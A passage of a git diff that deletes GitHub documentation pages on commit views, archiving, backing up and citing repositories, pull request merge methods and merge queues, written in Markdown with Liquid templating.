Represents the commit five commits prior to `96d29b7`. | [View comparison](https://github.com/octocat/linguist/compare/octocat:96d29b7%7E5...octocat:96d29b7) | - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request) diff --git a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md b/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md deleted file mode 100644 index 1fc896b55382..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Differences between commit views -intro: You might observe differences in commit history depending on the chosen viewing method. -redirect_from: - - /articles/differences-between-commit-views - - /github/committing-changes-to-your-project/differences-between-commit-views - - /github/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Commit views ---- -On {% data variables.product.github %}, you can see the commit history of a repository by: - -* Navigating directly to [the commits page](https://github.com/mozilla/rust/commits/master) of a repository -* Clicking on a file, then clicking **History**, to get to [the commit history for a specific file](https://github.com/mozilla/rust/commits/master/README.md) - -These two commit views may show _different_ information at times. The history for a single file may omit commits found on the repository's commit history. - -Git has several different ways of showing the history of a repository. When Git shows the history of a single file, it simplifies history by omitting -commits that did not change the file. Instead of looking at every commit to -decide whether it touched the file, Git will omit a whole branch if that branch, -when merged, did not impact the final contents of the file. Any commits on the -branch that touched the file will not be shown. - -For a file's commit history, {% data variables.product.github %} explicitly follows this simple strategy. It makes the history simpler by removing commits that didn't contribute to the final result. For example, if a side branch made a change and then reverted it, that commit would not show up in the branch history. This makes reviewing branches more efficient, since you only see the commits that affect the file. - -This truncated view might not always contain the information you're -after. If you want to see the entire history, {% data variables.product.github %} provides a view with more -information on a repository's commits page. - -For more information on how Git considers commit history, see [the "History Simplification"](https://git-scm.com/docs/git-log#_history_simplification) section of the `git log` help article. - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/search-github/searching-on-github/searching-commits) diff --git a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md b/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md deleted file mode 100644 index 4f165177ce96..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Viewing and comparing commits -intro: '' -redirect_from: - - /articles/viewing-and-comparing-commits - - /github/committing-changes-to-your-project/viewing-and-comparing-commits -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /comparing-commits - - /differences-between-commit-views -shortTitle: View & compare commits ---- - diff --git a/content/pull-requests/index.md b/content/pull-requests/index.md deleted file mode 100644 index 70264b2906af..000000000000 --- a/content/pull-requests/index.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Pull requests documentation -intro: 'Learn how to use pull requests to suggest changes to a project, receive suggested changes to your own projects, and address issues in pull requests, such as merge conflicts.' -introLinks: - overview: /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests -featuredLinks: - startHere: - - /pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message - - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line - - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository - - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request - popular: - - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews - - /pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github - - /pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork - - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request - guideCards: - - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews - - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request - - /pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user -changelog: - label: pull-requests -layout: product-landing -shortTitle: Pull requests -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Pull requests -children: - - /committing-changes-to-your-project - - /collaborating-with-pull-requests ---- - diff --git a/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md b/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md deleted file mode 100644 index 937700ff8c9f..000000000000 --- a/content/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: About archiving content and data on GitHub -intro: 'You can archive content and data for other people to view and reference.' -redirect_from: - - /articles/about-archiving-content-and-data-on-github - - /github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Archive content & data ---- -## Persistence of public repositories - -{% data variables.product.company_short %} intends to keep your public repositories available unless you remove them. In some cases, we may make public content unavailable, for example if: - -* We receive a [DMCA Takedown Notice](/free-pro-team@latest/site-policy/content-removal-policies/dmca-takedown-policy) for content in a repository. -* We determine that a repository's content violates our [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines) or [Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service). - -Academics and researchers can reference this information in data management plans. - -## About the {% data variables.product.prodname_archive %} - -{% data reusables.repositories.about-github-archive-program %} - -The {% data variables.product.prodname_archive %} enables third-party partners to archive public repositories using the public API. These partners archive different types of data at varying frequencies and make the data available to the public. The {% data variables.product.prodname_archive %} also protects the data on an ongoing basis by storing multiple copies across various data formats and locations. For example, {% data variables.product.company_short %} stores repositories in the {% data variables.product.prodname_arctic_vault %}, a very-long-term archive intended to last at least 1,000 years. For more information, see [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com/). - -Responsible use of archives includes respecting users' privacy. For more information, see [AUTOTITLE](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#public-information-on-github). - -You can opt out of the {% data variables.product.prodname_archive %} for your repository. For more information, see [AUTOTITLE](/get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository). - -## Adding an open source license to increase archivability - -Libraries and researchers may require legal protections to create archives of publicly available content. If you want third parties to consider your work on {% data variables.product.github %} for archiving, you can add an [open source license](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository) to your projects. An open source license gives contributors explicit permissions to copy and distribute the material in your repositories. diff --git a/content/repositories/archiving-a-github-repository/archiving-repositories.md b/content/repositories/archiving-a-github-repository/archiving-repositories.md deleted file mode 100644 index daf4cff1cd8b..000000000000 --- a/content/repositories/archiving-a-github-repository/archiving-repositories.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Archiving repositories -intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived. -redirect_from: - - /articles/archiving-repositories - - /github/creating-cloning-and-archiving-repositories/archiving-repositories - - /articles/about-archiving-repositories - - /github/creating-cloning-and-archiving-repositories/about-archiving-repositories - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/about-archiving-repositories - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/archiving-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## About repository archival - -{% ifversion fpt or ghec %} - -> [!NOTE] -> If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -{% endif %} - -> [!NOTE] -> Customers who use {% data variables.product.prodname_GH_secret_protection %} can enable {% data variables.product.prodname_secret_scanning %} on archived repositories. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -{% data reusables.repositories.archiving-repositories-recommendation %} - -Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project. - -When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first. - -You can search for archived repositories. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-based-on-whether-a-repository-is-archived). You can also search for issues and pull requests within archived repositories. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-issues-and-pull-requests#search-based-on-whether-a-repository-is-archived). - -To archive all repositories in an organization at once, you can archive the entire organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/archiving-an-organization). - -## Archiving a repository - -{% data reusables.repositories.archiving-repositories-recommendation %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Danger Zone", click **Archive this repository** -1. Read the warnings. -1. In the text field, type the name of the repository you want to archive. - ![Screenshot showing the "Archive repository" dialog box.](/assets/images/help/repository/archive-repository-warnings.png) -1. Click **I understand the consequences, archive this repository**. - -## Unarchiving a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Danger Zone" section, click **Unarchive this repository** -1. Read the warnings. -1. In the text box, type the name of the repository you want to unarchive. -1. Click **I understand the consequences, unarchive this repository**. diff --git a/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/content/repositories/archiving-a-github-repository/backing-up-a-repository.md deleted file mode 100644 index 7a325d7041f5..000000000000 --- a/content/repositories/archiving-a-github-repository/backing-up-a-repository.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Backing up a repository -intro: 'You can use Git{% ifversion fpt or ghec %}, a third-party tool,{% endif %} or the API to back up your repository.' -redirect_from: - - /articles/backing-up-a-repository - - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -You may want to take backups of repositories for archiving or disaster recovery purposes. - -Depending on the {% data variables.product.prodname_dotcom %} features you use and your requirements (for example whether you need to be able to restore the backup), there are different backup options which include different data. - -You may want to store your backups on an external hard drive and/or upload them to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/), or [Dropbox](https://www.dropbox.com/dropbox). - -## Backing up a Git repository with the Git CLI - -A Git repository includes all of the files and folders associated with a project, along with each file's revision history. For more information, see [AUTOTITLE](/get-started/using-git/about-git#about-repositories). - -You can take a backup of a Git repository, including the revision history, by performing a mirror clone with the Git CLI. - -To perform a mirror clone, use the `git clone` command with the `--mirror` option. - -```bash -git clone --mirror https://github.com/EXAMPLE-USER/REPOSITORY.git -``` - -If the repository includes {% data variables.large_files.product_name_long %} objects, pull in the objects. For more details on {% data variables.large_files.product_name_long %} and how to install it, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). - -```bash -git lfs fetch --all -``` - -Once you have cloned the Git repository, you can compress it into an archive (for example a `.zip` or `.tar.gz` file) and move it to a location for safe-keeping. - -You can restore your backup by decompressing the archive and then pushing the Git repository to a Git remote. - -## Backing up a wiki with the Git CLI - -Wikis in {% data variables.product.prodname_dotcom %} are stored as Git repositories. This means that you can back up a wiki by cloning it. For more details on how to clone a wiki using Git, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages#cloning-wikis-to-your-computer). - -Once you have cloned the wiki, you can compress it into an archive (for example a `.zip` or `.tar.gz` file) and move it to a location for safe-keeping. - -You can restore your backup by decompressing the archive and then pushing the wiki repository to a Git remote. - -## Backing up a Git repository and selected metadata with migration archives - -You can use the REST API to generate a migration archive for a repository. For more information, see [AUTOTITLE](/rest/migrations/orgs). - -These archives are designed for moving data between {% data variables.product.prodname_dotcom %} products, but they can also be used {% ifversion fpt or ghec %}to back up a repository for archiving purposes{% else %} as backups.{% endif %} - -> [!WARNING] -> Migration archives do not include all data related to a repository. For example, {% data variables.large_files.product_name_long %} objects, discussions, or packages are not included. For more information on what is included in migration archives, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/about-migrations-between-github-products). - -Once you have generated an archive, you can move it to a location of your choice for safe-keeping. - -{% ifversion ghes %} -Migration archives can be restored to your {% data variables.product.prodname_ghe_server %} instance using the `ghe-migrator` tool, which is accessible over SSH. For more information, see [AUTOTITLE](/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server). - -> [!WARNING] -> Migration archives are not designed to be used as backups, and it is not guaranteed that a migration archive generated today will be restorable in future versions of {% data variables.product.prodname_ghe_server %}. - -{% else %} -There is no supported, documented way to restore migration archives on {% data variables.product.prodname_dotcom %}, so these backups are only suitable for archiving purposes. -{% endif %} - -{% ifversion fpt or ghec %} - -## Third-party backup tools - -A number of self-service tools exist that automate backups of repositories. Backup tools will download data from _specific_ repositories and organize it within a new branch or directory. - -For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=apps&category=backup-utilities). -{% endif %} diff --git a/content/repositories/archiving-a-github-repository/index.md b/content/repositories/archiving-a-github-repository/index.md deleted file mode 100644 index ec0d79231451..000000000000 --- a/content/repositories/archiving-a-github-repository/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Archiving a GitHub repository -intro: 'You can archive, back up, and cite your work using the {% data variables.product.github %} UI, the API, or third-party tools and services.' -redirect_from: - - /articles/can-i-archive-a-repository - - /articles/archiving-a-github-repository - - /enterprise/admin/user-management/archiving-and-unarchiving-repositories - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /archiving-repositories - - /about-archiving-content-and-data-on-github - - /referencing-and-citing-content - - /backing-up-a-repository -shortTitle: Archive a repository ---- - diff --git a/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md deleted file mode 100644 index 22beb97d461b..000000000000 --- a/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Referencing and citing content -intro: You can use third-party tools to cite and reference content on GitHub. -redirect_from: - - /articles/referencing-and-citing-content - - /github/creating-cloning-and-archiving-repositories/referencing-and-citing-content - - /github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/referencing-and-citing-content -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Reference & cite content ---- -## Issuing a persistent identifier for your repository with Zenodo - -To make your repositories easier to reference in academic literature, you can create persistent identifiers, also known as Digital Object Identifiers (DOIs). You can use the data archiving tool [Zenodo](https://about.zenodo.org/) to archive a repository on {% data variables.product.prodname_dotcom %} and issue a DOI for the archive. - -> [!TIP] -> * Zenodo can only access public repositories, so make sure the repository you want to archive is [public](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility). -> * If you want to archive a repository that belongs to an organization, the organization owner may need to [approve access](/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization) for the Zenodo application. -> * Make sure to include a [license](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository) in your repository so readers know how they can reuse your work. - -1. Navigate to the [login page](https://zenodo.org/login) for Zenodo. -1. Click **Log in with {% data variables.product.prodname_dotcom %}**. -1. Review the information about access permissions, then click **Authorize zenodo**. -1. Navigate to the [Zenodo {% data variables.product.prodname_dotcom %} page](https://zenodo.org/account/settings/github/). -1. To the right of the name of the repository you want to archive, toggle the button to **On**. - -Zenodo archives your repository and issues a new DOI each time you create a new {% data variables.product.github %} [release](/repositories/releasing-projects-on-github/about-releases). Follow the steps at [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository) to create a new one. - -## Publicizing and citing research material with Figshare - -Academics can use the data management service [Figshare](http://figshare.com) to publicize and cite research material. For more information, see [Figshare's support site](https://info.figshare.com/user-guide/integrations/#github). diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md deleted file mode 100644 index b27705ce6cb1..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: About merge methods on GitHub -intro: 'You can allow contributors with push access to your repository to merge their pull requests with different merge options or enforce a specific merge method for all of your repository''s pull requests.' -redirect_from: - - /articles/about-merge-methods-on-github - - /github/administering-a-repository/about-merge-methods-on-github - - /github/administering-a-repository/configuring-pull-request-merges/about-merge-methods-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: About merge methods ---- -{% data reusables.pull_requests.configure_pull_request_merges_intro %} You can enforce one type of merge method, such as commit squashing or rebasing, by only enabling the desired method for your repository. - -> [!NOTE] -> When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %} -{% ifversion repo-rules-merge-type -%} -> -> Merge methods set on the repository that conflict with the merge method rule will prevent merging. For example if you do not allow rebase merging for the repository, and the merge rule only allows rebase on a branch, that merge will not be possible. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-a-pull-request-before-merging). -{%- endif %} - -{% data reusables.pull_requests.default_merge_option %} - -The default merge method creates a merge commit. You can prevent anyone from pushing merge commits to a protected branch by enforcing a linear commit history. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-linear-history). - -## Squashing your merge commits - -{% data reusables.pull_requests.squash_and_merge_summary %} - -Before enabling squashing commits, consider these disadvantages: -* You lose information about when specific changes were originally made and who authored the squashed commits. -* If you continue working on the head branch of a pull request after squashing and merging, and then create a new pull request between the same branches, commits that you previously squashed and merged will be listed in the new pull request. You may also have conflicts that you have to repeatedly resolve in each successive pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges#squashing-and-merging-a-long-running-branch). -* Some Git commands that use the "SHA" or "hash" ID may be harder to use since the SHA ID for the original commits is lost. For example, using [`git rerere`](https://git-scm.com/docs/git-rerere) may not be as effective. - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests). - -## Rebasing and merging your commits - -{% data reusables.pull_requests.rebase_and_merge_summary %} - -Before enabling commit rebasing, consider these disadvantages: -* Repository contributors may have to rebase on the command line, resolve any conflicts, and force push their changes to the pull request's topic branch (or remote head branch) before they can use the **rebase and merge** option on {% data variables.product.prodname_dotcom %}. Force pushing must be done carefully so contributors don't overwrite work that others have based their work on. To learn more about when the **Rebase and merge** option is disabled on {% data variables.product.prodname_dotcom %} and the workflow to re-enable it, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges#rebase-and-merge-your-pull-request-commits). -* {% indented_data_reference reusables.pull_requests.rebase_and_merge_verification spaces=2 %} - - {% indented_data_reference reusables.pull_requests.rebase_and_merge_verification_2 spaces=2 %} - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests). diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md deleted file mode 100644 index 6458525d22d2..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Configuring commit merging for pull requests -intro: 'You can enforce, allow, or disable merging with a merge commit for all pull request merges on {% data variables.location.product_location %} in your repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Configure commit merging ---- -{% data reusables.pull_requests.configure_pull_request_merges_intro %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Pull Requests", select **Allow merge commits**. This allows contributors to merge a pull request with a full history of commits. -1. Optionally, under **Allow merge commits**, select the dropdown menu, then click the format of the commit message presented to contributors when merging. - - The default message includes the pull request number and title. For example, `Merge pull request #123 from patch-1`. You can also choose to use just the pull request title, or the pull request title and description. - -If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md deleted file mode 100644 index 685a05fe7e7d..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Configuring commit rebasing for pull requests -intro: 'You can enforce, allow, or disable commit rebasing for all pull request merges on {% data variables.product.prodname_dotcom %} in your repository.' -redirect_from: - - /articles/configuring-commit-rebasing-for-pull-requests - - /github/administering-a-repository/configuring-commit-rebasing-for-pull-requests - - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Configure commit rebasing ---- -{% data reusables.pull_requests.configure_pull_request_merges_intro %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Pull Requests", select **Allow rebase merging**. This allows contributors to merge a pull request by rebasing their individual commits onto the base branch. - -If you also select another merge method, collaborators will be able to choose the type of merge commit when merging a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md deleted file mode 100644 index 97f70146c93a..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Configuring commit squashing for pull requests -intro: 'You can enforce, allow, or disable commit squashing for all pull request merges on {% data variables.location.product_location %} in your repository.' -redirect_from: - - /articles/configuring-commit-squashing-for-pull-requests - - /github/administering-a-repository/configuring-commit-squashing-for-pull-requests - - /github/administering-a-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Configure commit squashing ---- -{% data reusables.pull_requests.configure_pull_request_merges_intro %} - -{% data reusables.pull_requests.default-commit-message-squash-merge %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the "General" settings page (which is selected by default), scroll down to the section marked "Pull Requests". -1. Under "Pull Requests", select **Allow squash merging**. This allows contributors to merge a pull request by squashing all commits into a single commit. The default commit message presented to contributors when merging is the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. -1. Optionally, under **Allow squash merging**, select the dropdown menu, then click the format of the default squash commit message presented to contributors when merging. - - The default message uses the commit title and message if the pull request contains only 1 commit, or the pull request title and list of commits if the pull request contains 2 or more commits. You can also choose to use just the pull request title, the pull request title and commit details, or the pull request title and description. - -If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md deleted file mode 100644 index 42a119a971c7..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Configuring pull request merges -intro: 'You can configure pull request merges on {% data variables.location.product_location %} to match your workflow and preferences for managing Git history.' -redirect_from: - - /articles/configuring-pull-request-merges - - /github/administering-a-repository/configuring-pull-request-merges -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /about-merge-methods-on-github - - /configuring-commit-merging-for-pull-requests - - /configuring-commit-squashing-for-pull-requests - - /configuring-commit-rebasing-for-pull-requests - - /managing-a-merge-queue - - /managing-suggestions-to-update-pull-request-branches - - /managing-auto-merge-for-pull-requests-in-your-repository - - /managing-the-automatic-deletion-of-branches -shortTitle: Configure PR merges ---- - diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md deleted file mode 100644 index e2410df12959..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Managing a merge queue -intro: You can increase development velocity with a merge queue for pull requests in your repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: People with admin permissions can manage merge queues for pull requests targeting selected branches of a repository. -product: '{% data reusables.gated-features.merge-queue %}' -topics: - - Repositories - - Pull requests -shortTitle: Managing merge queue -redirect_from: - - /repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue ---- - -## About merge queues - -{% data reusables.pull_requests.merge-queue-overview %} - -For more information on merging a pull request using a merge queue, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue). - -## Configuring continuous integration (CI) workflows for merge queues - -> [!NOTE] -> * A merge queue cannot be enabled with branch protection rules that use wildcard characters (`*`) in the branch name pattern. -> * A merge queue will wait for required checks to be reported before it can proceed with merging. You must update your CI configuration to trigger and report on merge group events when requiring a merge queue. -> * Merge queue and pull requests checks are coupled and configured under branch protection rules or rulesets. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue#managing-a-merge-queue). - -### Triggering merge group checks with {% data variables.product.prodname_actions %} - -You **must** use the `merge_group` event to trigger your {% data variables.product.prodname_actions %} workflow when a pull request is added to a merge queue. - -> [!NOTE] -> {% data reusables.actions.merge-group-event-with-required-checks %} - -A workflow that reports a check which is required by the target branch's protections would look like this: - -```yaml -on: - pull_request: - merge_group: -``` - -For more information on the `merge_group` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#merge_group). - -### Triggering merge group checks with third-party CI providers - -With third-party CI providers, you will need to update your CI configuration to run when a branch that begins with the special prefix `gh-readonly-queue/{base_branch}` is pushed to. These are the temporary branches that are created on your behalf by a merge queue and contain a different `sha` from the pull request. - -## Managing a merge queue - -Repository administrators can require a merge queue by enabling the branch protection setting "Require merge queue" in the protection rules for the base branch. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule#creating-a-branch-protection-rule). - -Once you have enabled the "Require merge queue" setting, you can also access the following settings: - -* **Merge method:** Select which method to use when merging queued pull requests: merge, rebase, or squash. - -* **Build concurrency:** The maximum number of `merge_group` webhooks to dispatch (between `1` and `100`), throttling the total amount of concurrent CI builds. This affects the velocity of merges that a merge queue can complete. -* **Only merge non-failing pull requests:** This setting determines how a merge queue forms groups of pull requests to be merged. - - | Enabled? | Description | - | -------- | ----------- | - | Yes | All pull requests must satisfy required checks to be merged. | - | No | Pull requests that have failed required checks can be added to a group as long as the last pull request in the group has passed required checks. If the last pull request in the group has passed required checks, this means that the checks have passed for the combined set of changes in the merge group. Leaving this checkbox unselected can be useful if you have intermittent test failures, but don't want false negatives to hold up the queue. | - -* **Status check timeout:** Choose how long the queue should wait for a response from CI before assuming that checks have failed. - -* **Merge limits:** Select the minimum and maximum number of pull requests to merge into the base branch at the same time (between `1` and `100`), and a timeout after which the queue should stop waiting for more entries and merge with fewer than the minimum number. - - > [!NOTE] - > Merge limits do not combine `merge_group` **builds**. Merge limits only affect merges to the base branch once one or more `merge_group` has satisfied build checks. - - | Merge Limit | Use Case | - | ----------- | -------- | - | Maximum pull requests to merge | You can specify a maximum group size, which is useful if merges to your base branch trigger a deployment, and you want to make sure you’re not deploying too many changes at once. | - | Minimum pull requests to merge | You can specify a minimum group size, which is useful if merges to your base branch trigger a lengthy CI build or deploy process, and you don’t want to hold up the following entries in the queue. 